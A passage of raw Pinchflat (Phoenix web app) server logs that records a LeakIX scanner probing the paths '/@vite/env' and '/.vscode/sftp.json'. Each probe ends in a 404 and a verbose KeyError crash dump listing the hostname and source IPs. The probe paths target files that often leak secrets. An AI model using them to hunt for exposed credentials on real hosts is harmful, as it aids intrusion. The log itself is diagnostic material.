resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJxdP9DwB3oQAFolB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, (truncated) 17:50:49.797 [info] GET /@vite/env 17:50:49.798 [debug] QUERY OK source="settings" db=0.1ms idle=990.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:49.798 [debug] QUERY OK source="settings" db=0.0ms idle=990.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:49.798 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:49.799 [error] #PID<0.162803.0> running PinchflatWeb.Endpoint (connection #PID<0.162802.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /@vite/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@vite/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162802.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@vite/env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44376}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162803.0>, params: %{}, path_info: ["@vite", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/@vite/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJyJh_BbPKd8AFolh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162802.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@vite/env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44376}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@vite/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162802.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@vite/env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44376}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162803.0>, params: %{}, path_info: ["@vite", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/@vite/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJyJh_BbPKd8AFolh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, rou (truncated) 17:50:50.605 [info] GET /@vite/env 17:50:50.605 [debug] QUERY OK source="settings" db=0.1ms idle=992.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:50.606 [debug] QUERY OK source="settings" db=0.1ms idle=992.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:50.606 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:50.606 [error] #PID<0.162805.0> running PinchflatWeb.Endpoint (connection #PID<0.162804.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /@vite/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@vite/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162804.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@vite/env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44382}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162805.0>, params: %{}, path_info: ["@vite", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/@vite/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJ1KDUP01FCgAFomB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162804.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@vite/env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44382}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@vite/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162804.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@vite/env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44382}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162805.0>, params: %{}, path_info: ["@vite", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/@vite/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJ1KDUP01FCgAFomB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: Pinchfl (truncated) 17:50:50.785 [info] GET /.vscode/sftp.json 17:50:50.786 [debug] QUERY OK source="settings" db=0.2ms idle=987.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:50.786 [debug] QUERY OK source="settings" db=0.1ms idle=987.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:50.786 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:50.786 [error] #PID<0.162807.0> running PinchflatWeb.Endpoint (connection #PID<0.162806.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /.vscode/sftp.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/sftp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162806.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44388}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162807.0>, params: %{}, path_info: [".vscode", "sftp"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/.vscode/sftp.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJ11ETe5s5hAAFomh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162806.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44388}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/sftp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162806.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44388}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162807.0>, params: %{}, path_info: [".vscode", "sftp"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/.vscode/sftp.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJ11ETe5s5hAAFomh"} ], scheme: :http, script_name: [], secret_key_base: :..., (truncated) 17:50:51.622 [info] GET /.vscode/sftp.json 17:50:51.623 [debug] QUERY OK source="settings" db=0.1ms idle=1017.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:51.623 [debug] QUERY OK source="settings" db=0.1ms idle=1017.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:51.623 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:51.623 [error] #PID<0.162809.0> running PinchflatWeb.Endpoint (connection #PID<0.162808.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /.vscode/sftp.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/sftp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162808.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44396}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162809.0>, params: %{}, path_info: [".vscode", "sftp"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/.vscode/sftp.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJ48pTBUHrsIAFonB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162808.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44396}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/sftp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162808.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44396}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162809.0>, params: %{}, path_info: [".vscode", "sftp"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/.vscode/sftp.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJ48pTBUHrsIAFonB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :uns (truncated) 17:50:51.777 [info] 